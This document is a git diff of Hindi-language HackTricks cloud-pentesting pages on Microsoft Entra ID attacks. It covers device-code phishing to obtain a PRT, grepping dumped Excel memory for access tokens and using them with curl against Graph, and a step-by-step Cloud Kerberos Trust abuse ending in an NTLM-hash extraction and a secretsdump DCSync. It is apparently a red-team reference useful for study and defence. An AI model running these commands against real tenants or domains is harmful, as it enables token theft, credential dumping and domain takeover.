|
||||
|
||||
3. **उस रिफ्रेश टोकन का उपयोग करके टेनेट में एक धोखाधड़ी डिवाइस रजिस्टर करें** (डिवाइस ऑब्जेक्ट बनाया जाता है और शिकार के साथ लिंक किया जाता है)।
|
||||
|
||||
4. **रिफ्रेश टोकन + डिवाइस पहचान/कीज़** का आदान-प्रदान करके **PRT** में **अपग्रेड करें** → **PRT** हमलावर के डिवाइस से बंधा होता है।
|
||||
|
||||
5. **(वैकल्पिक स्थायीता)**: यदि MFA ताजा था, तो **Windows Hello for Business की** रजिस्टर करें ताकि **दीर्घकालिक, पासवर्ड रहित पहुंच** बनी रहे।
|
||||
|
||||
6. **दुरुपयोग**: उपयोगकर्ता के रूप में **एक्सचेंज/ग्राफ/शेयरपॉइंट/टीम्स/कस्टम ऐप्स** के लिए **एक्सेस टोकन** प्राप्त करने के लिए **PRT** (या **PRT कुकी** बनाना) भुनाएं।
|
||||
|
||||
|
||||
### सार्वजनिक उपकरण और प्रमाण-का-धारणा
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): OAuth प्रवाह, डिवाइस रजिस्ट्रेशन, और टोकन अपग्रेड को स्वचालित करता है।
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): एकल-आदेश स्क्रिप्ट जो डिवाइस कोड फ़िश-टू-PRT+WHfB कुंजी को स्वचालित करती है।
|
||||
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Dirkjan का PRT पर ब्लॉग पोस्ट](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Dirkjan का PRTs को फ़िशिंग करने पर पोस्ट](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Dirkjan का PRTs के दुरुपयोग पर पोस्ट](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- SpecterOps पोस्ट पर [Azure AD अनुरोध टोकन का अनुरोध करना](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
- [AADInternals का PRTs पर पोस्ट](https://aadinternals.com/post/prt/)
|
||||
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## **बुनियादी जानकारी**
|
||||
|
||||
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं**। इसलिए केवल **प्रक्रिया की स्मृति को डंप करना** और **JWT टोकन के लिए grep करना** आपको क्लाउड में कई संसाधनों पर पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए।
|
||||
जैसा कि [**इस वीडियो**](https://www.youtube.com/watch?v=OHKZkXC4Duw) में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) **स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं**। इसलिए केवल **प्रक्रिया की स्मृति को डंप करना** और **JWT टोकन के लिए grep करना** आपको क्लाउड में कई संसाधनों तक पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए।
|
||||
|
||||
चरण:
|
||||
|
||||
1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें।
|
||||
2. चलाएँ: `string excel.dmp | grep 'eyJ0'` और आउटपुट में कई टोकन खोजें
|
||||
3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर हैं और उनके ऊपर टूल चलाएँ:
|
||||
3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर लगते हैं और उनके ऊपर टूल चलाएँ:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
@@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/site
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
┌──(magichk㉿black-pearl)-[~]
|
||||
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**ध्यान दें कि इस प्रकार के एक्सेस टोकन अन्य प्रक्रियाओं के अंदर भी पाए जा सकते हैं।**
|
||||
|
||||
|
||||
@@ -2,48 +2,71 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**यह पोस्ट** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **का सारांश है, जिसे हमले के बारे में अधिक जानकारी के लिए चेक किया जा सकता है। इस तकनीक पर भी टिप्पणी की गई है** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**।**
|
||||
**यह पोस्ट** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **से एक सारांश है, जिसे हमले के बारे में अधिक जानकारी के लिए चेक किया जा सकता है। इस तकनीक पर भी टिप्पणी की गई है** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**।**
|
||||
|
||||
## Basic Information
|
||||
## Kerberos Trust Relationship Overview
|
||||
|
||||
### Trust
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- यह सुविधा (Windows Hello for Business का हिस्सा) एक-तरफा विश्वास स्थापित करती है जहां ऑन-प्रेम AD **Entra ID** पर भरोसा करता है कि वह AD के लिए Kerberos टिकट जारी करे। इसे सक्षम करने से AD में एक **AzureADKerberos$** कंप्यूटर ऑब्जेक्ट बनता है (जो एक Read-Only Domain Controller के रूप में प्रकट होता है) और एक लिंक किया गया **`krbtgt_AzureAD`** खाता (एक द्वितीयक KRBTGT)। Entra ID इन खातों के लिए कुंजी रखता है और AD उपयोगकर्ताओं के लिए "आंशिक" Kerberos TGT जारी कर सकता है। AD डोमेन नियंत्रक इन टिकटों का सम्मान करेंगे, लेकिन RODC-जैसे प्रतिबंधों के साथ: डिफ़ॉल्ट रूप से, **उच्च-विशेषाधिकार समूह (Domain Admins, Enterprise Admins, आदि) को *अस्वीकृत* किया गया है** और सामान्य उपयोगकर्ताओं को अनुमति दी गई है। यह सामान्य परिस्थितियों में Entra ID को डोमेन प्रशासकों को विश्वास के माध्यम से प्रमाणित करने से रोकता है। हालाँकि, जैसा कि हम देखेंगे, पर्याप्त Entra ID विशेषाधिकारों वाला एक हमलावर इस विश्वास डिज़ाइन का दुरुपयोग कर सकता है।
|
||||
|
||||
जब Azure AD के साथ एक ट्रस्ट स्थापित किया जाता है, तो **एक Read Only Domain Controller (RODC) AD में बनाया जाता है।** **RODC कंप्यूटर खाता**, जिसका नाम **`AzureADKerberos$`** है। इसके अलावा, एक द्वितीयक `krbtgt` खाता जिसका नाम **`krbtgt_AzureAD`** है। यह खाता **Kerberos कुंजियों** को रखता है जो Azure AD टिकटों के लिए उपयोग करता है।
|
||||
## Pivoting from Entra ID to On-Prem AD
|
||||
|
||||
इसलिए, यदि यह खाता समझौता कर लिया जाता है, तो किसी भी उपयोगकर्ता का अनुकरण करना संभव हो सकता है... हालाँकि यह सच नहीं है क्योंकि इस खाते को किसी सामान्य विशेषाधिकार प्राप्त AD समूह जैसे Domain Admins, Enterprise Admins, Administrators के लिए टिकट बनाने से रोका गया है...
|
||||
**परिदृश्य:** लक्षित संगठन ने पासवर्ड रहित प्रमाणीकरण के लिए **Cloud Kerberos Trust** सक्षम किया है। एक हमलावर ने Entra ID (Azure AD) में **Global Administrator** विशेषाधिकार प्राप्त कर लिए हैं लेकिन अभी तक ऑन-प्रेम AD को नियंत्रित नहीं किया है। हमलावर के पास एक डोमेन नियंत्रक (VPN या हाइब्रिड नेटवर्क में Azure VM के माध्यम से) तक नेटवर्क पहुंच है। क्लाउड ट्रस्ट का उपयोग करते हुए, हमलावर Azure AD नियंत्रण का लाभ उठाकर AD में **Domain Admin**-स्तरीय स्थिति प्राप्त कर सकता है।
|
||||
|
||||
> [!CAUTION]
|
||||
> हालाँकि, एक वास्तविक परिदृश्य में ऐसे विशेषाधिकार प्राप्त उपयोगकर्ता होंगे जो उन समूहों में नहीं हैं। इसलिए **नया krbtgt खाता, यदि समझौता किया गया, तो उनका अनुकरण करने के लिए उपयोग किया जा सकता है।**
|
||||
**पूर्वापेक्षाएँ:**
|
||||
|
||||
### Kerberos TGT
|
||||
- **Cloud Kerberos Trust** हाइब्रिड वातावरण में कॉन्फ़िगर किया गया है (संकेत: AD में एक `AzureADKerberos$` RODC खाता मौजूद है)।
|
||||
|
||||
इसके अलावा, जब एक उपयोगकर्ता Windows पर हाइब्रिड पहचान का उपयोग करके प्रमाणीकरण करता है, तो **Azure AD एक आंशिक Kerberos टिकट के साथ PRT जारी करेगा।** TGT आंशिक है क्योंकि **AzureAD के पास ऑन-प्रेम AD में उपयोगकर्ता की सीमित जानकारी** है (जैसे सुरक्षा पहचानकर्ता (SID) और नाम)।\
|
||||
Windows तब **इस आंशिक TGT को पूर्ण TGT के लिए विनिमय कर सकता है** `krbtgt` सेवा के लिए सेवा टिकट का अनुरोध करके।
|
||||
- हमलावर के पास Entra ID टेनेन्ट में **Global Admin (या Hybrid Identity Admin)** अधिकार हैं (ये भूमिकाएँ AD Connect **सिंक्रनाइज़ेशन API** का उपयोग करके Azure AD उपयोगकर्ताओं को संशोधित कर सकती हैं)।
|
||||
|
||||
### NTLM
|
||||
- कम से कम एक **हाइब्रिड उपयोगकर्ता खाता** (जो AD और AAD दोनों में मौजूद है) है जिसे हमलावर प्रमाणित कर सकता है। इसे इसके क्रेडेंशियल्स को जानकर या रीसेट करके या इसे एक पासवर्ड रहित विधि (जैसे, एक अस्थायी एक्सेस पास) सौंपकर प्राथमिक रिफ्रेश टोकन (PRT) उत्पन्न करने के लिए प्राप्त किया जा सकता है।
|
||||
|
||||
चूंकि ऐसी सेवाएँ हो सकती हैं जो kerberos प्रमाणीकरण का समर्थन नहीं करती हैं बल्कि NTLM करती हैं, इसलिए **एक आंशिक TGT को द्वितीयक `krbtgt`** कुंजी का उपयोग करके हस्ताक्षरित करने के लिए अनुरोध करना संभव है जिसमें **`KERB-KEY-LIST-REQ`** फ़ील्ड को **PADATA** अनुरोध के भाग में शामिल किया गया है और फिर एक पूर्ण TGT प्राप्त करें जो प्राथमिक `krbtgt` कुंजी के साथ हस्ताक्षरित हो **NT है।** उत्तर में हैश।
|
||||
- एक **ऑन-प्रेम AD लक्ष्य खाता** जिसमें उच्च विशेषाधिकार हैं जो डिफ़ॉल्ट RODC "अस्वीकृति" नीति में *नहीं* है। व्यावहारिक रूप से, एक अच्छा लक्ष्य **AD Connect सिंक खाता** है (जिसे अक्सर **MSOL_*** कहा जाता है), जिसमें AD में DCSync (प्रतिकृति) अधिकार होते हैं लेकिन यह आमतौर पर अंतर्निहित प्रशासनिक समूहों का सदस्य नहीं होता है। यह खाता आमतौर पर Entra ID के साथ समन्वयित नहीं होता है, जिससे इसके SID को बिना संघर्ष के अनुकरण करने के लिए उपलब्ध कराया जा सकता है।
|
||||
|
||||
## Abusing Cloud Kerberos Trust to obtain Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
**हमला चरण:**
|
||||
|
||||
जब AzureAD एक **आंशिक TGT** उत्पन्न करता है, तो यह उपयोगकर्ता के बारे में उसके पास मौजूद विवरण का उपयोग करेगा। इसलिए, यदि एक Global Admin उपयोगकर्ता के AzureAD में **सुरक्षा पहचानकर्ता और नाम** जैसे डेटा को संशोधित कर सकता है, तो उस उपयोगकर्ता के लिए TGT का अनुरोध करते समय **सुरक्षा पहचानकर्ता एक अलग होगा**।
|
||||
1. **Azure AD सिंक API एक्सेस प्राप्त करें:** Global Admin खाते का उपयोग करते हुए, Azure AD **Provisioning (sync) API** के लिए एक एक्सेस टोकन प्राप्त करें। इसे **ROADtools** या **AADInternals** जैसे उपकरणों के साथ किया जा सकता है। उदाहरण के लिए, ROADtools (roadtx) के साथ:
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(वैकल्पिक रूप से, AADInternals' `Connect-AADInt` का उपयोग Global Admin के रूप में प्रमाणित करने के लिए किया जा सकता है।)*
|
||||
|
||||
यह Microsoft Graph या Azure AD Graph के माध्यम से करना संभव नहीं है, लेकिन **API Active Directory Connect** का उपयोग करके किया जा सकता है जिसका उपयोग Global Admins **किसी भी हाइब्रिड उपयोगकर्ता के SAM नाम और SID को संशोधित करने के लिए** कर सकते हैं, और फिर यदि हम प्रमाणीकरण करते हैं, तो हमें संशोधित SID वाला आंशिक TGT प्राप्त होता है।
|
||||
2. **हाइब्रिड उपयोगकर्ता के ऑन-प्रेम गुणों में संशोधन करें:** Azure AD **सिंक्रनाइज़ेशन API** का उपयोग करके एक चुने हुए हाइब्रिड उपयोगकर्ता के **onPremises Security Identifier (SID)** और **onPremises SAMAccountName** को लक्षित AD खाते से मेल खाने के लिए सेट करें। यह प्रभावी रूप से Azure AD को बताता है कि क्लाउड उपयोगकर्ता उस ऑन-प्रेम खाते से मेल खाता है जिसे हम अनुकरण करना चाहते हैं। ओपन-सोर्स **ROADtools Hybrid** टूलकिट का उपयोग करते हुए:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> उपयोगकर्ता का `sourceAnchor` (अपरिवर्तनीय ID) Azure AD ऑब्जेक्ट की पहचान के लिए आवश्यक है जिसे संशोधित करना है। उपकरण हाइब्रिड उपयोगकर्ता के ऑन-प्रेम SID और SAM खाता नाम को लक्षित के मानों (जैसे, MSOL_xxxx खाता का SID और SAM) पर सेट करता है। Azure AD सामान्यतः ग्राफ़ के माध्यम से इन विशेषताओं को बदलने की अनुमति नहीं देता (ये केवल पढ़ने के लिए हैं), लेकिन सिंक सेवा API इसकी अनुमति देती है और वैश्विक प्रशासक इस सिंक कार्यक्षमता को सक्रिय कर सकते हैं।
|
||||
|
||||
ध्यान दें कि हम AADInternals के साथ यह कर सकते हैं और [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet के माध्यम से समन्वयित उपयोगकर्ताओं को अपडेट कर सकते हैं।
|
||||
3. **Azure AD से आंशिक TGT प्राप्त करें:** संशोधन के बाद, हाइब्रिड उपयोगकर्ता के रूप में Azure AD में प्रमाणीकरण करें (उदाहरण के लिए, किसी डिवाइस पर PRT प्राप्त करके या उनके क्रेडेंशियल्स का उपयोग करके)। जब उपयोगकर्ता साइन इन करता है (विशेष रूप से एक डोमेन-जोड़े या Entra जुड़े Windows डिवाइस पर), Azure AD उस खाते के लिए **आंशिक Kerberos TGT (TGT**<sub>**AD**</sub>) जारी करेगा क्योंकि Cloud Kerberos Trust सक्षम है। यह आंशिक TGT AzureADKerberos$ RODC कुंजी के साथ एन्क्रिप्ट किया गया है और इसमें **लक्षित SID** शामिल है जिसे हमने सेट किया है। हम ROADtools के माध्यम से उपयोगकर्ता के लिए PRT का अनुरोध करके इसका अनुकरण कर सकते हैं:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
यह एक `.prt` फ़ाइल उत्पन्न करता है जिसमें आंशिक TGT और सत्र कुंजी होती है। यदि खाता केवल क्लाउड पासवर्ड था, तो Azure AD अभी भी PRT प्रतिक्रिया में एक TGT_AD शामिल करता है।
|
||||
|
||||
### Attack prerequisites <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
4. **Exchange Partial TGT for Full TGT (on AD):** आंशिक TGT को अब ऑन-प्रेम डोमेन कंट्रोलर को प्रस्तुत किया जा सकता है ताकि लक्षित खाते के लिए एक **पूर्ण TGT** प्राप्त किया जा सके। हम इसे `krbtgt` सेवा (डोमेन की प्राथमिक TGT सेवा) के लिए TGS अनुरोध करके करते हैं -- मूल रूप से टिकट को एक सामान्य TGT में पूर्ण PAC के साथ अपग्रेड करना। इस विनिमय को स्वचालित करने के लिए उपकरण उपलब्ध हैं। उदाहरण के लिए, ROADtools Hybrid के स्क्रिप्ट का उपयोग करते हुए:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
यह स्क्रिप्ट (या Impacket समकक्ष) डोमेन कंट्रोलर से संपर्क करेगी और लक्षित AD खाते के लिए एक मान्य TGT प्राप्त करेगी, जिसमें विशेष Kerberos एक्सटेंशन का उपयोग करने पर खाते का NTLM हैश शामिल है। **`KERB-KEY-LIST-REQ`** एक्सटेंशन स्वचालित रूप से शामिल किया गया है ताकि DC से लक्षित खाते का NTLM हैश एन्क्रिप्टेड उत्तर में लौटाने के लिए कहा जा सके। परिणाम एक क्रेडेंशियल कैश (`full_tgt.ccache`) है लक्षित खाते के लिए *या* पुनर्प्राप्त NTLM पासवर्ड हैश।
|
||||
|
||||
हमले की सफलता और Domain Admin विशेषाधिकारों की प्राप्ति कुछ पूर्वापेक्षाओं को पूरा करने पर निर्भर करती है:
|
||||
5. **लक्षित व्यक्ति का अनुकरण करें और डोमेन एडमिन में वृद्धि करें:** अब हमलावर प्रभावी रूप से **लक्षित AD खाते को नियंत्रित करता है**। उदाहरण के लिए, यदि लक्षित AD कनेक्ट **MSOL खाता** था, तो इसके पास निर्देशिका पर पुनरुत्पादन अधिकार हैं। हमलावर उस खाते के क्रेडेंशियल या Kerberos TGT का उपयोग करके AD से पासवर्ड हैश को डंप करने के लिए **DCSync** हमले को अंजाम दे सकता है (जिसमें डोमेन KRBTGT खाता शामिल है)। उदाहरण के लिए:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
यह सभी AD उपयोगकर्ता पासवर्ड हैश को डंप करता है, हमलावर को KRBTGT हैश देता है (जिससे वे इच्छानुसार डोमेन Kerberos टिकट बना सकते हैं) और प्रभावी रूप से **डोमेन एडमिन** विशेषाधिकार प्रदान करता है। यदि लक्षित खाता कोई अन्य विशेषाधिकार प्राप्त उपयोगकर्ता होता, तो हमलावर उस उपयोगकर्ता के रूप में किसी भी डोमेन संसाधन तक पहुँचने के लिए पूर्ण TGT का उपयोग कर सकता था।
|
||||
|
||||
- Synchronization API के माध्यम से खातों को बदलने की क्षमता महत्वपूर्ण है। यह Global Admin की भूमिका या AD Connect समन्वय खाता होने से प्राप्त किया जा सकता है। वैकल्पिक रूप से, Hybrid Identity Administrator भूमिका भी पर्याप्त होगी, क्योंकि यह AD Connect को प्रबंधित करने और नए समन्वय खातों की स्थापना की अनुमति देती है।
|
||||
- **हाइब्रिड खाता** का होना आवश्यक है। इस खाते को पीड़ित खाते के विवरण के साथ संशोधन के लिए अनुकूल होना चाहिए और प्रमाणीकरण के लिए भी सुलभ होना चाहिए।
|
||||
- Active Directory में एक **लक्षित पीड़ित खाता** की पहचान करना आवश्यक है। हालाँकि हमले को पहले से समन्वयित किसी भी खाते पर निष्पादित किया जा सकता है, Azure AD टेनेट को ऑन-प्रेम सुरक्षा पहचानकर्ताओं को पुन: उत्पन्न नहीं करना चाहिए, जिससे टिकट प्राप्त करने के लिए एक असमर्थित खाते को संशोधित करने की आवश्यकता होती है।
|
||||
- इसके अलावा, इस खाते को डोमेन एडमिन समकक्ष विशेषाधिकार होना चाहिए लेकिन इसे सामान्य AD प्रशासक समूहों का सदस्य नहीं होना चाहिए ताकि AzureAD RODC द्वारा अमान्य TGT उत्पन्न करने से बचा जा सके।
|
||||
- सबसे उपयुक्त लक्ष्य **Active Directory खाता है जिसका उपयोग AD Connect Sync सेवा द्वारा किया जाता है।** यह खाता Azure AD के साथ समन्वयित नहीं है, जिससे इसका SID एक संभावित लक्ष्य बन जाता है, और यह स्वाभाविक रूप से डोमेन एडमिन समकक्ष विशेषाधिकार रखता है क्योंकि इसका उपयोग पासवर्ड हैश को समन्वयित करने में किया जाता है (मानते हुए कि पासवर्ड हैश समन्वय सक्रिय है)। एक्सप्रेस स्थापना वाले डोमेन के लिए, इस खाते का उपसर्ग **MSOL\_** है। अन्य उदाहरणों के लिए, इस खाते को डोमेन ऑब्जेक्ट पर निर्देशिका पुनरुत्पादन विशेषाधिकारों के साथ सभी खातों को सूचीबद्ध करके पहचाना जा सकता है।
|
||||
6. **सफाई:** वैकल्पिक रूप से, हमलावर उसी API के माध्यम से संशोधित Azure AD उपयोगकर्ता के मूल `onPremisesSAMAccountName` और SID को पुनर्स्थापित कर सकता है या बस किसी भी अस्थायी उपयोगकर्ता को हटा सकता है। कई मामलों में, अगला Azure AD कनेक्ट सिंक चक्र स्वचालित रूप से समन्वयित विशेषताओं पर अनधिकृत परिवर्तनों को पूर्ववत कर देगा। (हालांकि, इस बिंदु तक नुकसान हो चुका है -- हमलावर के पास DA विशेषाधिकार हैं।)
|
||||
|
||||
### The full attack <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
> [!WARNING]
|
||||
> क्लाउड ट्रस्ट और सिंक तंत्र का दुरुपयोग करके, Azure AD का एक ग्लोबल एडमिन लगभग *किसी भी* AD खाते का अनुकरण कर सकता है जिसे RODC नीति द्वारा स्पष्ट रूप से सुरक्षित नहीं किया गया है, भले ही उस खाते को कभी क्लाउड-सिंक नहीं किया गया हो। एक डिफ़ॉल्ट कॉन्फ़िगरेशन में, यह **Azure AD समझौते से ऑन-प्रेम AD समझौते तक एक पूर्ण विश्वास को जोड़ता है**।
|
||||
|
||||
Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
## संदर्भ
|
||||
|
||||
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
# Az - Default Applications
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**तकनीक की जांच करें:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) और [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
ब्लॉग पोस्ट Azure AD में एक विशेषाधिकार वृद्धि की भेद्यता पर चर्चा करता है, जो एप्लिकेशन एडमिन या समझौता किए गए ऑन-प्रिमाइस सिंक खातों को एप्लिकेशनों को क्रेडेंशियल असाइन करके विशेषाधिकार बढ़ाने की अनुमति देता है। यह भेद्यता Azure AD के एप्लिकेशनों और सेवा प्रिंसिपलों के प्रबंधन के "डिजाइन द्वारा" व्यवहार से उत्पन्न होती है, जो विशेष रूप से डिफ़ॉल्ट Office 365 एप्लिकेशनों को प्रभावित करती है। हालांकि रिपोर्ट किया गया, यह मुद्दा Microsoft द्वारा विशेषाधिकार असाइनमेंट व्यवहार के दस्तावेजीकरण के कारण भेद्यता के रूप में नहीं माना जाता है। पोस्ट में विस्तृत तकनीकी अंतर्दृष्टि प्रदान की गई है और Azure AD वातावरण में सेवा प्रिंसिपल क्रेडेंशियल की नियमित समीक्षा की सलाह दी गई है। अधिक विस्तृत जानकारी के लिए, आप मूल ब्लॉग पोस्ट पर जा सकते हैं।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,32 +4,31 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** एक **डोमेन** का संग्रह है जिसने **विश्वास** स्थापित किया है। विश्वास का स्तर भिन्न हो सकता है, लेकिन आमतौर पर इसमें **प्रमाणीकरण** शामिल होता है और लगभग हमेशा **अधिकार** शामिल होता है। एक सामान्य संघ में **संस्थाओं की संख्या** शामिल हो सकती है जिन्होंने **साझा पहुंच** के लिए **विश्वास** स्थापित किया है।
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
आप अपने **ऑन-प्रिमाइसेस** वातावरण को **Azure AD** के साथ **संघ** कर सकते हैं और इस संघ का उपयोग प्रमाणीकरण और अधिकार के लिए कर सकते हैं। यह साइन-इन विधि सुनिश्चित करती है कि सभी उपयोगकर्ता **प्रमाणीकरण ऑन-प्रिमाइसेस** पर होता है। यह विधि प्रशासकों को अधिक कठोर स्तरों के पहुंच नियंत्रण को लागू करने की अनुमति देती है। **AD FS** और PingFederate के साथ संघ उपलब्ध है।
|
||||
>**फेडरेशन** एक **डोमेन** का संग्रह है जिसने **विश्वास** स्थापित किया है। विश्वास का स्तर भिन्न हो सकता है, लेकिन आमतौर पर इसमें **प्रमाणीकरण** शामिल होता है और लगभग हमेशा **अधिकार** शामिल होता है। एक सामान्य फेडरेशन में **संस्थाओं की संख्या** शामिल हो सकती है जिन्होंने संसाधनों के एक सेट तक **साझा पहुंच** के लिए **विश्वास** स्थापित किया है।
|
||||
>आप अपने **ऑन-प्रिमाइसेस** वातावरण को **Azure AD** के साथ **फेडरेट** कर सकते हैं और इस फेडरेशन का उपयोग प्रमाणीकरण और अधिकार के लिए कर सकते हैं। यह साइन-इन विधि सुनिश्चित करती है कि सभी उपयोगकर्ता **प्रमाणीकरण ऑन-प्रिमाइसेस** पर होता है। यह विधि प्रशासकों को अधिक कठोर स्तर के पहुंच नियंत्रण को लागू करने की अनुमति देती है। **AD FS** और PingFederate के साथ फेडरेशन उपलब्ध है।
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
बुनियादी रूप से, संघ में सभी **प्रमाणीकरण** **ऑन-प्रिम** वातावरण में होता है और उपयोगकर्ता सभी विश्वसनीय वातावरणों में SSO का अनुभव करता है। इसलिए, उपयोगकर्ता अपने **ऑन-प्रिम क्रेडेंशियल्स** का उपयोग करके **क्लाउड** अनुप्रयोगों तक **पहुँच** कर सकते हैं।
|
||||
बुनियादी रूप से, फेडरेशन में, सभी **प्रमाणीकरण** **ऑन-प्रिम** वातावरण में होता है और उपयोगकर्ता सभी विश्वसनीय वातावरणों में SSO का अनुभव करता है। इसलिए, उपयोगकर्ता अपने **ऑन-प्रिम क्रेडेंशियल्स** का उपयोग करके **क्लाउड** अनुप्रयोगों तक **पहुँच** कर सकते हैं।
|
||||
|
||||
**सिक्योरिटी असेर्शन मार्कअप लैंग्वेज (SAML)** का उपयोग सभी प्रमाणीकरण और अधिकार **जानकारी** के **अदला-बदली** के लिए किया जाता है।
|
||||
|
||||
किसी भी संघ सेटअप में तीन पक्ष होते हैं:
|
||||
किसी भी फेडरेशन सेटअप में तीन पक्ष होते हैं:
|
||||
|
||||
- उपयोगकर्ता या क्लाइंट
|
||||
- पहचान प्रदाता (IdP)
|
||||
- सेवा प्रदाता (SP)
|
||||
|
||||
(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. प्रारंभ में, एक अनुप्रयोग (सेवा प्रदाता या SP, जैसे AWS कंसोल या vSphere वेब क्लाइंट) का उपयोगकर्ता द्वारा उपयोग किया जाता है। यह कदम बायपास किया जा सकता है, जिससे क्लाइंट सीधे IdP (पहचान प्रदाता) पर जा सकता है, जो विशिष्ट कार्यान्वयन पर निर्भर करता है।
|
||||
